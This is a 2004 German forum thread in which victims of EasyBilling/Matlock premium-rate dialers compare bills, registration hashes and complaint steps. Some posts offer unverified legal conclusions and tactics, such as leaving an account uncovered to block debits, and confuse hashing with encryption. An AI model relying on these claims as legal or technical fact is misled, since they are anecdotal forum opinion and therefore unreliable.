sorry, aber das lamentieren hier in diesem Forum nützt nix - wir müssen handeln und zwar sachlich: zunächst Kontakt mit der Telekom herstellen, am besten schriftlich, danach Sache aus eigener Sicht niederschreiben und der RegTP melden !!! - dafür gibt es einen Vordruck.

Die Dialer sind alle legal (aus der Sicht der RegTP und der Telekom.
Nur weil es ein paar linke Links gibt über die wir gestolpert sind, sind die
Dialer eigentlich NICHT LEGAL, aber das kann man nur beweisen und wenn es keine Beweise gibt müssen Indizien herhalten. Ein Indiz könnte m.E. sein, dass sich viele/alle bei der RegTP beschweren und ALLE den
ähnlichen Ablauf schildern....

Danach, Sammelklage etc. denn einer alleine zahlt doch lieder seine 30 Kröten und ist den Schwachsinn los. Oder wir machen gemeinsame Sache, und legen los ->  Jetzt.

Ich bin am sammeln - Bitte gebt mir Eure Daten - Vertraulichkeit gegenüber Dritten sichere ich zu. Die Liste ist als "Beweis" zur Vorlage bei der RegTP geeignet und ggf. vor Gericht :

Ich liste auf :
Name des Geschädigten,  Anschrift eigene Tel. Nr. EMail
Tel.Nr des Dialers und Datum Uhrzeit der "Tat" und sonstige Beobachtungen (Mediaplayer.exe.bak  oder sonstiges.

Ich habe jetzt  0190er und 09009er sperren lassen 
für rd 7 Euro - ... ich hoffe das reicht vorerst )


Wenn wir das nicht gemeinsam klarbekommen, werden die Easybillings sich noch vermehren (Nomen est Omen)


Uwe


Mail an [email protected]


_E-Mail Addi gelöscht siehe Nutzungsregeln 
http://forum.computerbetrug.de/rules.php#10
tf/Moderator_


----------



## bird_9UD (9 März 2004)

*Mein Aufruf unter "Gast"  hier oben ..*

Sorry mein Aufruf unter "Gast"  hier oben ..
habe vor Stress vergessen mich anzumelden, was ich hiermit nachhole.

Uwe

Mails an mich  [email protected]


_E-Mail Addi gelöscht siehe Nutzungsregeln 
http://forum.computerbetrug.de/rules.php#10
tf/Moderator
*Dies gilt grundsätzlich für jeden, 
auch für angemeldete Mitglieder!*_


----------



## Der Genervte (9 März 2004)

*Re: Easybilling und Co.*



			
				Anonymous schrieb:
			
		

> Danach, Sammelklage etc. ...
> Uwe




Er hat 'Jehova' gesagt .......  :banned:


----------



## juanito (9 März 2004)

Nochmal Hallo,

hat eigentlich jemand web.exe's eine oder mehrere davon gesichert?

Ich bin auf der Suche nach den exe's für die Tel-Nr. 090090000263. 

Zu dieser Nr. sind 3 Versionen registriert. Ich habe leider nur eine davon und zwar die, die am 4. Feb. registriert wurde, wenn man den Hash-Wert vergleicht. Was mich hier aber schon stutzig macht ist, daß die in der Datenbank der RegTP angegebene Versions-Nr. nämlich nicht stimmt. Bei der Reg-TP ist zum og. Hashwert die Version 3.0.0.3 angegeben. Meine .exe zeigt aber Version 2.0.0.3 Diese Version gehört aber zu einem anderen Hashwert...  kann diese Versionsdifferenz jemand bestätigen?

Hat jemand vielleicht auch alle exe's die zur Nr. ...263 registriert sind und könnte man mir diese zusenden (ich weiß wie ich damit umzugehen habe...)

Ich kann noch folgende Dialer-exe's anbieten. Tel-Nr. ...264, ...421 und ...422 alle mit dem Hashwert der am 4. Februrar registriert wurde.


Viele Grüße


----------



## juanito (9 März 2004)

*Re: Easybilling und Co.*

Hallo,



			
				Anonymous schrieb:
			
		

> Hallo zusammen,
> Die Dialer sind alle legal (aus der Sicht der RegTP und der Telekom.
> Nur weil es ein paar linke Links gibt über die wir gestolpert sind, sind die
> Dialer eigentlich NICHT LEGAL, aber das kann man nur beweisen und wenn es keine Beweise gibt müssen Indizien herhalten. Ein Indiz könnte m.E. sein, dass sich viele/alle bei der RegTP beschweren und ALLE den
> ...


----------



## KalleM (9 März 2004)

*Matlock / EasyBillng*

Hallo Leute,

ich will euch mal wieder über meinen aktuellen Status in der Sache EasyBilling/Matlock informieren.  :schreiben: 

In einem intensiven Briefwechsel habe ich versucht, der Mitarbeiterin der T-Com die euch allen bekannten Tatsachen näher zu bringen und Sie davon zu überzeugen, dass hier ein gross angelegter Betrug im Gange ist. Mit allen Anlagen waren es bestimmt schon ca. 30 Faxseiten, die ich der T-COM habe zukommen lassen.   :argue: 

*Fazit:* Der Dialer Version 1.2.3 mit dem Hashwert (b3ce89adb6e451c82935178a6e348760) steht zwar nicht unter der angewählten Nummer 090090000263 in der Datenbank der TegTP, sondern unter einer anderen Rufnummer 090090000300. Daraus zog die Mitarbeiterin das Fazit, dass der Dialer registriert sein müsse. Das hier aber eine ganze Reihe von Verstößen vorliegt, leitet sich schon aus der Verfügung 54/2003 der RegTP ab. Dabei müssen alle Angaben bei der Registrierung (Version, Rufnummer, Hashwert usw. ) vorgelegt werden und bei jeder Änderung muss eine neue Registrierung vorgelegt werden. Ansonsten könnten man ja einen Dialer einmal registrieren und dann beliebig einsetzen.   :evil: 

Allein daraus leitet die T-Com die Zahlungsverpflichtung ab, damit war dann jede Diskussion beendet. Alles andere wäre dann ein Problem zwischen mir und der RegTP.  :motz: 

Und das trotz folgender Einwände zur Bedeutung der Registrierung: 
http://forum.computerbetrug.de/viewtopic.php?t=3123

Aber ihr könnt sicher sein, dass ich die Sache nicht darauf beruhen lassen werden. Genau das wäre es ja, was die Fa. EasyBilling bezweckt. Aber da kennen Sie mich (uns) noch nicht. Schließlich soll das Internet nicht eine Plattform für Räuber und Betrüger werden. Gruss an den "Juristen", du bist unser aller Vorbild.... http://forum.computerbetrug.de/viewtopic.php?t=4164

Die gesamte Telefonrechung inkl. der strittigen Kosten von 150 Euro sind zunächst vom Konto abgebucht worden. Ich habe mir nun einen Rechtsanwalt genommen und werde notfalls über die "Umkehrung der Beweislast" eine "negative Feststellungsklage"erwirken. Zuvor wurde aber die Telekom und die EasyBilling nochmal von meinem Rechtsanwalt angeschrieben. Vielleicht besinnen die beiden sich ja doch noch aufgrund weiterer vorgelegter Unterlagen eines besseren. Ansonsten bin ich entschlossen den Rechtweg zu gehen. Dabei ist das Geld nicht das Wichtigste, sondern das ein Zeichen gegen J. M. (EasyBilling) gesetzt wird. :bash:  

Umkehrung der Beweislast:
http://forum.computerbetrug.de/viewtopic.php?t=4163

Negative Feststellungsklage:
http://forum.computerbetrug.de/viewtopic.php?p=40556&highlight=#40556

Vielleicht kann ja die Berichterstattung durch Planetopia Online und dem Journalisten Peter Huth der Anbieter EasyBilling/Matlock in das richtige Licht gerückt werden: http://www.peterhuth.de/indexall.php?seite=dialerabzocke01.php


*Auszug aus der Verfügung 54/2003 der RegTP: *


> Auszug aus Verfügung 54/2003 im Amtsblatt Nr. 24/2003 (§ 43b Abs. 5 und Abs. 6 TKG)
> Quelle: http://www.regtp.de/imperia/md/content/mwdgesetz/vfg54.pdf
> 
> Desweiteren sind die folgenden Angaben von der RegTP zur Registrierung und zur Erfüllung der gesetzlichen Anforderungen vorgesehen:
> ...


 :gruebel:


----------



## cicojaka (9 März 2004)

KalleM schrieb:
			
		

> Vielleicht kann ja die Berichterstattung durch Planetopia Online und dem Journalisten Peter Huth der Anbieter EasyBilling/Matlock in das richtige Licht gerückt werden: http://www.peterhuth.de/indexall.php?seite=dialerabzocke01.php





			
				P.H. schrieb:
			
		

> Immerhin gibt es ja einen Deutschen Ansprechpartner für die Firma "Matlock Business Corp." im Karibikstaat Belize.




Wie muss ich das jetzt lesen? Gibt es IN DEUTSCHLAND einen Ansprechpartner für die Firma im Karibikstaat Belize, oder gibt es IN BELIZE (oder über Belize) einen deutschen Ansprechpartner?



Natürlich weiss ich, wie PH es meint:

gibt es ja {einen Deutschen Ansprechpartner} [für die Firma "Matlock Business Corp." im Karibikstaat Belize.]

aber meine Lesart wäre spannender:

gibt es ja {einen Deutschen Ansprechpartner für die Firma "Matlock Business Corp."} [im Karibikstaat Belize.]


----------



## KalleM (9 März 2004)

*Formblatt Beschwerde*

Hallo, um das Verfahren gegen die Fa. EasyBilling zu beschleunigen, sollten möglichst alle Opfer folgendes Formblatt ausfüllen und ab damit an die RegTP:
http://www.dialerschutz.de/home/Fbl.Kundenbeschwerde.pdf

Kleiner Service für alle, die den Wald vor Bäumen nicht mehr sehen.


----------



## eb-victim (9 März 2004)

juanito schrieb:
			
		

> Was mich hier aber schon stutzig macht ist, daß die in der Datenbank der RegTP angegebene Versions-Nr. nämlich nicht stimmt. Bei der Reg-TP ist zum og. Hashwert die Version 3.0.0.3 angegeben. Meine .exe zeigt aber Version 2.0.0.3 Diese Version gehört aber zu einem anderen Hashwert...  kann diese Versionsdifferenz jemand bestätigen?


Dies ist mir bei zwei anderen Matlock-Dialern auch aufgefallen. Fehler in der RegTP-Datenbank? Oder hat Matlock da einen Fehler gemacht?


			
				juanito schrieb:
			
		

> Ich kann noch folgende Dialer-exe's anbieten. Tel-Nr. ...264, ...421 und ...422 alle mit dem Hashwert der am 4. Februrar registriert wurde.


Wollte auch schon den Aufbau einer Dialer-Datenbank vorschlagen. Suche 090090000426 (meine Angebote muss ich noch katalogisieren).

Und wie bereits gesagt: jeder Matlock-Dialer kann über die Option -ph dazu gebracht werden, jede Telefonnummer zu wählen!


----------



## Petrus (9 März 2004)

*Dialerbetrug durch Easybilling & Matlock*

Schwarzliste der von Easybilling & Matlock Geschädigten 
Daten aus forum.computerbetrug und anderen Quellen, siehe Fußnoten
Beim Autor Petrus kann demnächst eine komplette Liste angefordert werden

Stand vom 09.03.04 23:00

Zielnummer	Anzahl der Geschädigten	Anmerkung

09009 0000 o.A.1)	-  29	
090090000261	-  02	
090090000262	-  02	
090090000263	-  13 (+ 29)	
090090000264	-  03	
090090000265		
090090000266		
090090000267	-  01	                           Kunde P.A. aus Essen
090090000268	-  01	
090090000269	-  	
090090000270		

090090000421		
090090000422	-  06	                            Peter Huth
090090000423	-  03	
090090000424		
090090000425	-  01	
090090000426	-  01	
090090000427		
090090000428		
090090000429	-  01	
090090000430		
Matlock besitzt noch 40 weitere Dialernummern kontinuierlich bis
090090000470

Summe der Geschädigten	-  65	

1) In diesen Forumsbeiträgen wurde im Text explizit keine Telefon- bzw. Dialernummer genannt. Die Autoren haben sich aber alle unter dem Betreff:
"090090000263 oder auch Matlock - ermitteln Sie"
eingetragen, so daß man mit hoher Wahrscheinlichkeit davon ausgehen kann, daß sie durch die Nummer 090090000263 geschädigt wurden.

Petrus mag zur Zeit gar nicht mehr in sein goldenes Buch schauen, 
Easybilling & Matlock verleiden ihm die Lektüre

Wir werden den Übeltätern aber ein höllisches Feuer unterm Hintern anzünden
Gruß Petrus


----------



## KalleM (9 März 2004)

juanito schrieb:
			
		

> Nochmal Hallo,
> 
> hat eigentlich jemand web.exe's eine oder mehrere davon gesichert?
> 
> ...



*Falls das der Fall sein sollte ist die ein Verstoss gegen die Vfg54 der RegTP:*


> Die Versionsnummer des für den Nutzer bereitgestellten Anwählprogramms muss offen-sichtlich und eindeutig erkennbar dargelegt sein. Die derart dargestellte Versionsnummer entspricht dabei exakt der im Registrierungsantrag verwendeten Versionsnummer.


----------



## derjörch (10 März 2004)

Hallo, 

auch ich bin ein neuer Geschädigter für die Liste (Nr. 090090000423). Habe die Nummer erst auf der Telefonrechnung vom Februar 2004 entdeckt, vorher war der Kontakt mir nicht bewust.

Nach meinem Einspruch habe ich von der Telekom nach Prüfung der Nummer eine erneute Zahlungsaufforderung erhalten. 
Also gibt es von mir den zweiten Einspruch dagegen.

Der RegTP habe ich meine Beschwerde (Formblatt) auch geschickt.

Bei einer gemeinsamen Aktion bin ich sofort dabei.

gruß vom jörch :lol:


----------



## juanito (10 März 2004)

Hallo,

ich wollte noch einen kurzen Hinweis an alle Teilnehmer dieses Forums geben. 

Die Betreiber von Matlock werden sicherlich die Beiträge dieses Forums aufmerksam studieren... man muß ja schließlich wissen, was der Feind im Schilde führt...

Deshalb nicht unbedingt detaillierte Infos, die für unsere Strategie hilfreich sind und noch nicht in der public domain stehen hier posten... 

Wie die web.exe funktioniert ist den Betreibern sicherlich genau bekannt, kann also hier problemlos gepostet werden...

Gruß
  Juanito


----------



## Anonymous (10 März 2004)

juanito schrieb:
			
		

> Wie die web.exe funktioniert ist den Betreibern sicherlich genau bekannt, kann also hier problemlos gepostet werden...


Oder die lachen sich halb kaputt, wie wild im Heuhaufen rumgestochert wird. Persönlich schliße ich mich aber auch gern Deinem Hinweis an, der Gegenseite nicht zu viele Denkanstöße Preis zu geben. Das sollte insbeondere auch bei schriftlichen Widersprüchen gelten - weniger ist da manchmal mehr.


----------



## blumenwiese23 (10 März 2004)

kann mir noch jemand bestätigen, ob ich in einem posting von seite 20 richtig liege. also das mit dem absatz hinweis und dem Datum der Registrierung. Wollte das nämlich in meinem nächsten brief an die telekom verwenden. 
danke


----------



## mht (10 März 2004)

Leider darf ich mich zu euch gesellen, habe heute die Feb. Abrechnung der Telekom bekommen und 5 mal die Anwahl zur 090090000262 berechnet bekommen aber keine Ahnung wie die Verbindung zustande gekommen ist.
Kosten/Schaden: 149,75 Euro

Ich habe Beschwede bei Telekom Easy Billing eingelegt aber die wehren ab Sie seien "nur" Provider.

Beschwedeformular an RegTP geht gleich raus.

Mal abwarten was da noch kommt.

Bin für jeden Tip dankbar, konnte mich aber noch nicht alle Seiten über Easy Billing lesen. Wird ein schöner Abend vor den Forum.


----------



## juanito (10 März 2004)

*Re: Matlocks WMPLAYER.EXE?*

Hallo,

wie schon mehrfach berichtet scheint die "Schädigung" mit dem Media player zusammenzuhängen



			
				eb-victim schrieb:
			
		

> Also: die echte WMPLAYER.EXE wird als WMPLAYER.EXE.BAK gesichert und durch eine neue WMPLAYER.EXE ersetzt.
> Hat die jemand auf seinem Rechner gefunden? Ich hätte gerne eine Kopie zur Analyse (bitte per PN melden).



gibt es noch jemanden der eine WMPLAYER.EXE.BAK auf seinem Rechner hat und den Media Player nicht angetastet hat... dann habt Ihr nämlich die WMPLAYER.EXE die Euch mit web.exe untergejubelt wurde.

Könnte mir diese WMPLAYER.EXE jemand zuschicken.... Danke

Ich habe die besagte .bak Datei auch auf meinem Rechner gefunden, hab aber gleich den Original-Media Player drüberinstalliert und somit die exe verloren. 
Die web.exe ist aber auch anschließend noch auf meinen Rechner  gekommen... vielleicht ist mir die WMPLAYER.EXE ja nochmals ausgetauscht  worden ... 

Viele Güße
   Juanito


----------



## Anonymous (10 März 2004)

juanito schrieb:
			
		

> Nochmal Hallo,
> 
> hat eigentlich jemand web.exe's eine oder mehrere davon gesichert?
> 
> ...



hallo,

ich bin ein Betroffener von der Nummer 090090000263. Mein Web.Exe weist eine letzte Änderung am 26.01.2004 auf, seit dem es eigentlich das Einwählen der Nummer erfolgt haben soll laut die DTAG Rechnung. Ich kann es dir rüberschicken sobald du mir deine Email schickst. Nutze Private Nachricht an HRACHKA User.

Übrigens an alle anderen. DTAG hat versuch bei mir den vollen Betrag abzubuchen, darauf habe ich einen Ruckzugsantrag bei der Bank gestellt und das Geld zurück aufs Konto wieder bekommen. Ausserdem habe ich der DTAG nur den Betrag überwiesen, ohne die 090090000263 Nummer. 

Weisst jemand, wie es weiter gehen soll. Was soll ich erwarten. DTAG hat an meiner Beschwerde und Zahlungsverweigerungsschreiben nicht reagiert. 
Ich bin entschlossen bis zum letzten die anfälligen 30 Euro von der 090090000263 Nummer zu verteidigen und nicht aufgeben. 

Gruss von mir - hrachka


----------



## blumenwiese23 (10 März 2004)

*info*

war bei mir auch so. pass auf, weil die telekom versucht es ein paar mal den strittigen betrag von deinem konto abzubuchen. lass am besten das konto ungedeckt. die bank kann leide nicht die telekom sperren. bei mir haben sie es 4mal versucht. habe mein konto ungedeckt gehalten.
hast du bei der überweisung angemerkt, für welche posten der betrag zu verwenden ist??


----------



## Anonymous (10 März 2004)

*e69c076af7881bdb449ab5ce16221f6d*

Kleine Verständnisfrage, wieviele Zeichen hat eine 160-Bit Hashwert nochmal?
_
für Blumenwiese, PN folgt dann_


----------



## virenscanner (10 März 2004)

40


----------



## Anonymous (10 März 2004)

sorry auch wenn jetzt viele denken ich sei matlock oder sonstwer.
aber, ich surfe schon seit normal modem zeiten (56 K) durchs netz. bisher noch nie einen dialer gehabt. ich frage mich wie ihr das schafft. echt, ich kann darüber nur lachen.


			
				juanito schrieb:
			
		

> Die Betreiber von Matlock werden sicherlich die Beiträge dieses Forums aufmerksam studieren... man muß ja schließlich wissen, was der Feind im Schilde führt...
> 
> Deshalb nicht unbedingt detaillierte Infos, die für unsere Strategie hilfreich sind und noch nicht in der public domain stehen hier posten...


oh man wenn die leute, matlock, bt und wie sie alle heißen wirklich den ganzen tag nichts besseres zu tun hätten als dieses forum zu studieren dann hätten die mobnatlich nur verluste. wer sich nicht ums geschäft kümmert vergammelt.



			
				juanito schrieb:
			
		

> Wie die web.exe funktioniert ist den Betreibern sicherlich genau bekannt, kann also hier problemlos gepostet werden...



davon geht man im allgemeinen aus.

ich hab nur die letzten seiten dieses topics gelesen und hatte regelrecht lachkrämpfe. ehrlich. meint ihr nicht wenn der dialer fehler hätte das man dies mit einem ruhigen wort klären könnte?

wenn nein: hat es schon jemand versucht? bestimmt nicht. motzen ist ja einfacher

außerdem würde ich der telekom schriftlich einreichen das ich einen posten nicht bezahlen möchte und nicht einfach das konto sperren etc. man man man.

im falle die leute von matlock würden das forum studieren hätte der forum betreiber unlängst eine abmahnung derjenigen firma bekommen. hätte ich eine firma würde ich es mir nicht gefallen lassen öffentlich als abzocker, betrüger etc hingestellt zu werden. oder jegwelche drohungen wie "zerbombt eggebek"

trinkt lieber tee und kommt wieder auf den boden.

PS: ich bin nicht matlock, sondern ein altenpfleger aus kölle (also für ältere leute nicht für ältere dialer SCNR). auch wenn die sätze nun umgedreht werden. 

@anna
der hashwert der datei hängt von der methode ab die man verwendet...

so ich verabschiede mich bis zum nächsten mal mit einem lachkrampf  8)


----------



## johinos (10 März 2004)

oesi schrieb:
			
		

> im falle die leute von matlock würden das forum studieren hätte der forum betreiber unlängst eine abmahnung derjenigen firma bekommen. hätte ich eine firma würde ich es mir nicht gefallen lassen öffentlich als abzocker, betrüger etc hingestellt zu werden.


Es sei denn, es ist was dran.

Ja sind denn die user alle blöd, oder warum beschweren die sich?

Basteln die Leute hier ihre Screenshots selber?


----------



## Anonymous (10 März 2004)

johinos schrieb:
			
		

> oesi schrieb:
> 
> 
> 
> ...



ob da was dran ist sei dahingestellt. nur fakten zählen. oder habt ihr nen link als beweis das der dialer "nicht konform" ist?

ich hab nie behauptet das hier jemand "blöd" ist. aber erkläre mir warum ich seit 1999 noch nie nen dialer hatte. und das obwohl ich auf seiten mit erotischen inhalten surfe. das ist der fakt der mich verwundert. und eh sich das modem erneut einwählt bleibt genug zeit das zu bemerken und den vorgang abzubrechen (entweder externes modem aus oder kaltstart des rechners) oder wählen sich neuerdings analog bzw ISDN modem innerhalb von 1-2 sekunden ein? wenn ja so eins möchte ich auch haben.

zum thema screenie selber basteln: dafür reicht das lapidare MS-Paint allemal aus. seite kopiert, eingefügt angepasst fertig. innerhalb von 5 minuten fertig. gebt mir nen screenie einer konformen seite und ich mach daraus eine nicht konforme.


----------



## johinos (10 März 2004)

PN wäre nicht schlecht.


----------



## Anonymous (10 März 2004)

johinos schrieb:
			
		

> PN wäre nicht schlecht.



dann werde ich mich mal anmelden  
was ich aber grad auf seite 21 gelesen habe erstaunt mich:
seit wann ist es verboten mehrere dialer zu registrieren? wenn ich das geld hätte und mir 4 autos kaufen würde wäre ich dann auch auf der liste der "bösen"? 

beathe use hat doch bestimmt auch mehr als eine 0190 nummer um dort anzurufen, oder? 

oder verdrehe ich da den sachverhalt?


----------



## Guest (10 März 2004)

holla bin da


----------



## Anonymous (10 März 2004)

*e69c076af7881bdb449ab5ce16221f6d*

@altenpfleger aus kölle, mach weiter so, man braucht Dich - aber nicht unbedingt hier! :lol: 

@ Blumenwiese, der von Deinem Dialer angegebene Hashwert ist nur 32stellig, entgegen der von der RegTP angewendeteten Prüfmechanismen (der freundliche Altenpfleger betonte es) werden 40 Zeichen vorausgesetzt. Demnach ist die Registrierung in der Datenbank der RegTP nichtig, da nicht die vorgegebenen Prüfmodi eingesetzt wurden. Der (derzeit noch) registrierte Dialer der Matlock Inc. entspricht definitiv nicht den Mindestvoraussetzungen des TKG, schon allein deshalb, weil die angewendete Hashwertermittlung nicht mit den Vorgaben der RegTP vereinbar ist. Somit fehlt die geforderte Transparenz des Produktes - es besteht Dir gegenüber, trotz Registrierung in den Datenbanken, kein Zahlungsanspruch, da der Dialer illegal ist!


----------



## Anonymous (10 März 2004)

oesi schrieb:
			
		

> ...oder verdrehe ich da den sachverhalt?


@ Jo, Trolle füttern wir nicht! Gute Nacht!


----------



## Guest (10 März 2004)

anna schrieb:
			
		

> oesi schrieb:
> 
> 
> 
> ...



also stellst du mich als matlock hin? komisch warum fahre ich dann einen opel corsa? hm wer weiß vielleicht will ich meinen mercedes und den ferrari nur nich zeigen? 

der dialer hat doch 40 stellen:
Adressierungsmerkmal : 
Hash - Wert :6D385B12B54BC39183241D7D1D99A3FC484F0AF0 
Dateiname : Dialer_090090000423.exe 
Dialer - Version : 3.0.0.13 

edit: @anna (siehe 2 oder 3 seiten vorher)

oder etwa nicht? 

schreit die wand an und ihr werdet gehört 

@anna: ich weiß das man mich braucht, sehe ich jeden tag. das hier objektive meinungen nicht zählen habe ich bereits gelesen 

drum stochert weiter in den sumpf vielleicht springt ja doch ein fisch heraus....


----------



## Anonymous (10 März 2004)

Jetzt aber ab ins Bettchen - e69c076af7881bdb449ab5ce16221f6d, das ist Blumenwieses Dialer, woher Du den anderen Hashwert hast ist mir wurscht und das Du mit Sicherheit nicht Matlock bist, eigentlich auch.

Ende der Diskussion und schlaft allemann gut - ich bin morgen früh, ab 05.30 Uhr wieder online und Trolle bringen dabei meinen Espresso erst so richtig in Fahrt.


----------



## juanito (10 März 2004)

Hi,

ich denke es hätte für oesi mehr Nutzen, wenn er sich auf Rechtschreibforen herumtreiben würde. Dort könnte er sogar noch etwas lernen, nachdem er gegen Dialer anscheinend immun ist...



			
				oesi schrieb:
			
		

> außerdem würde ich der telekom schriftlich einreichen, daß ich einen posten nicht bezahlen möchte und nicht einfach das konto sperren etc. man man man.





			
				oesi schrieb:
			
		

> im falle die leute von matlock würden das forum studieren, hätte der forumbetreiber längst  eine abmahnung derjenigen firma bekommen. hätte ich eine firma, würde ich es mir nicht gefallen lassen, öffentlich als abzocker, betrüger etc hingestellt zu werden. oder jegwelche ??
> drohungen wie "zerbombt eggebek"



Die Groß- und Kleinschreibung hat er ja elegant umschifft, das hätte die Fehler wohl exponentiell nach oben getrieben... und die Verbesserung mir den Schlaf geraubt... 

Mit Gruß aus spitzer Feder
   Juanito


----------



## Anonymous (10 März 2004)

*Re: e69c076af7881bdb449ab5ce16221f6d*



			
				anna schrieb:
			
		

> @ Blumenwiese, der von Deinem Dialer angegebene Hashwert ist nur 32stellig, entgegen der von der RegTP angewendeteten Prüfmechanismen (der freundliche Altenpfleger betonte es) werden 40 Zeichen vorausgesetzt. Demnach ist die Registrierung in der Datenbank der RegTP nichtig, da nicht die vorgegebenen Prüfmodi eingesetzt wurden. Der (derzeit noch) registrierte Dialer der Matlock Inc. entspricht definitiv nicht den Mindestvoraussetzungen des TKG, schon allein deshalb, weil die angewendete Hashwertermittlung nicht mit den Vorgaben der RegTP vereinbar ist. Somit fehlt die geforderte Transparenz des Produktes - es besteht Dir gegenüber, trotz Registrierung in den Datenbanken, kein Zahlungsanspruch, da der Dialer illegal ist!



Hallo,
der bei mir und vielen anderen verwendete Dialer hatte folgenden 32 HEX-Zeichen langen Hashwert: „b3ce89adb6e451c82935178a6e348760“. Das heißt dieser Hashwert wurde nur mit 128 Bit verschlüsselt. Die Registrierungsanforderung liegt aber bei 160 Bit Verschlüsselung, was dann einen 40 HEX-Zeichen langen String ergibt. 

Dieser Verschlüsselungsalgoritmus wurde gewählt, weil der bisherige mit 128 Bit nicht sicher genug war. 
http://www.esat.kuleuven.ac.be/~bosselae/ripemd160.html

Wenn schon die einfachsten Registrierungsanforderungen nicht erfüllt werden, möchte ich gar nicht wissen wie es mit der technischen Spezifikation der Dialer aussieht. Hat einer der RegTP schonmal Bescheid gesagt, welche Dialerleichen da in der Datenbank hängen. Spätestens damit muß doch ein Enzug der Registrierung der älteren Versionen möglich sein.  
 :lupe:


----------



## Reinhard (10 März 2004)

Meine Meinung dazu:

http://forum.computerbetrug.de/viewtopic.php?p=43624#43624

Gruss
Reinhard


----------



## KalleM (10 März 2004)

*Re: e69c076af7881bdb449ab5ce16221f6d*



			
				KalleM schrieb:
			
		

> Hallo,
> der bei mir und vielen anderen verwendete Dialer hatte folgenden 32 HEX-Zeichen langen Hashwert: „b3ce89adb6e451c82935178a6e348760“. Das heißt dieser Hashwert wurde nur mit 128 Bit verschlüsselt. Die Registrierungsanforderung liegt aber bei 160 Bit Verschlüsselung, was dann einen 40 HEX-Zeichen langen String ergibt.
> 
> Dieser Verschlüsselungsalgoritmus wurde gewählt, weil der bisherige mit 128 Bit nicht sicher genug war.
> ...



Sorry, hatte vergessen mich anzumelden. Habe den Haken jetzt gesetzt...


----------



## eb-victim (11 März 2004)

*1-2 Sekunden*



			
				oesi schrieb:
			
		

> oder wählen sich neuerdings analog bzw ISDN modem innerhalb von 1-2 sekunden ein? wenn ja so eins möchte ich auch haben.


Die Kosten entstehen m. W., sobald der Modem die Nummer gewählt hat - das dauert 1 bis 2 Sekunden (Tonwahl). Der Dialer schaltet den Modemlautsprecher aus ...
Ich hatte vor dem 8.2. auch nie einen Dialer auf dem Rechner!


----------



## hrachka (11 März 2004)

Das mit dem Zitat habe ich irgendwie nicht verstanden. Hat jemand vom Mattlock schon den Forumbetreiber irgendwie in einem Schreiben gedroht?!

Wenn so ist, dann sollen die Mattlocks selber zu mir kommen und ihr Geld kassieren, mit Gerichtsvollzieher sogar. Es kann sogar zynisch klingeln, aber Geld kriegen sie von mir sowoeso nicht. Und es gibt ein sehr einfachen Grund dafür. Bin mittellos.  und das ist aufweisbar 

Na falls sie mitlesen, wissen sie es schon bescheid.

Grüsse von mir

PS: Und was ein Gerichtsprozess betrifft........Was wäre, wenn wir uns vorerst irgendwo treffen? Als Ausweis für Echtheit der Person kann die Rechnung mit Namen und Personal ausweis dienen. Dann kommen auch keine Maultiere unter uns.


----------



## eb-victim (11 März 2004)

*Dialer aus RegTP-DB verschwunden?*

Unter den Nummer 090090000426 und 090090000425 sind momentan nur noch je 2 Dialer registriert. Die Dialer vom 4.2. sind verschwunden.
Und dies gilt anscheinend auch für die anderen Matlock-Nummern!
Hoffentlich ist das kein temporäres Datenbankproblem, sondern der erste Schritt ...


----------



## Anonymous (11 März 2004)

*Re: e69c076af7881bdb449ab5ce16221f6d*



			
				Anonymous schrieb:
			
		

> Hallo,
> der bei mir und vielen anderen verwendete Dialer hatte folgenden 32 HEX-Zeichen langen Hashwert: „b3ce89adb6e451c82935178a6e348760“. Das heißt dieser Hashwert wurde nur mit 128 Bit verschlüsselt. Die Registrierungsanforderung liegt aber bei 160 Bit Verschlüsselung, was dann einen 40 HEX-Zeichen langen String ergibt.
> 
> Dieser Verschlüsselungsalgoritmus wurde gewählt, weil der bisherige mit 128 Bit nicht sicher genug war.
> ...


Die zuständigen Mitarbeiter der RegTP wissen das - dies ist auch ein Grund dafür, warum ich bei der Matlock-Sache so eine feste Position einnehme.


----------



## KalleM (11 März 2004)

*Re: Dialer aus RegTP-DB verschwunden?*



			
				eb-victim schrieb:
			
		

> Unter den Nummer 090090000426 und 090090000425 sind momentan nur noch je 2 Dialer registriert. Die Dialer vom 4.2. sind verschwunden.
> Und dies gilt anscheinend auch für die anderen Matlock-Nummern!
> Hoffentlich ist das kein temporäres Datenbankproblem, sondern der erste Schritt ...



Ich habe heute morgen auch beobachtet, dass *alle Einträge *aus der Datenbank verschwunden waren. Dies war aber offensichtlich ein Datenbankproblem, da sie nun wieder aufgelistet werden. 

*Ausgabe der Suche in der RegTP-Datenbank:*
Rufnummer 90090000263
Keine Datensätze die ihren Suchkriterien entsprechen gefunden.
Überprüfen Sie Bitte Ihre Eingabe


----------



## Alex (11 März 2004)

anna schrieb:
			
		

> Die zuständigen Mitarbeiter der RegTP wissen das - dies ist auch ein Grund dafür, warum ich bei der Matlock-Sache so eine feste Position einnehme.



Da frage ich mich nur, warum das dann trotzdem so lange dauert. Die Aufgabe der RegTP ist doch gerade sowas zu verhindern- und wenn  ich in meinem Job bei auftretenden Problemen, die in der selben Geschwindigkeit lösen würde- wäre ich den schon längst los.

Jeden Tag gibt es neue Opfer - dank Google Spamming und Co. - nicht jeder hat die Lust und den Mut sich mit der Telekom rumzustreiten, und nicht zu vergessen bei aller Euphorie "ich geh zu meinem Anwalt", auch die Anwälte wollen Geld- nicht alle haben Rechtsschutzversicherung, die das deckt und selbst wenn das Dialer-Geld von der Telekom storniert wird- die Anwaltskosten zurückbekommen wird schwieriger....

Tja liebe Gesetzgebung und RegTP - das gibt nur eine 5 in Verbraucherschutz - setzen ......

Alex
PS:nicht das es missverstanden wird- das ist kein Vorwurf an Anna und die anderen die sich der Problematik angenommen haben und sich drum kümmmern !!! - die verdienen eher ein Danke das Opfer doch noch Unterstützung ohne finanzielle Interessen (denk ich mal  ) bekommen


----------



## Ernst-Helmut (11 März 2004)

*Re: Dialerbetrug durch Easybilling & Matlock*

Hi Petrus,

bin mir nicht sicher, ob Du mich unten schon mitgezählt hast, jedenfalls bin  ich ein 30 € - Geschädigter von Ende Januar unter der "Dienstanbieter"  -Nr.  090090000423 (1 Ebene höher als unser Peter Huth)
('0')

Übrigens habe ich gerade diese € 30 von der Telekom mir wieder gutschreiben lassen, Telekom braucht jetzt von mir nur noch meine Einwendung mit den genauen Angaben in post-schriftlicher Form...

Schöne Grüße an Euch anderen mindestens 65 Opfers
Ernst-Helmut




			
				Petrus schrieb:
			
		

> Schwarzliste der von Easybilling & Matlock Geschädigten
> Daten aus forum.computerbetrug und anderen Quellen, siehe Fußnoten
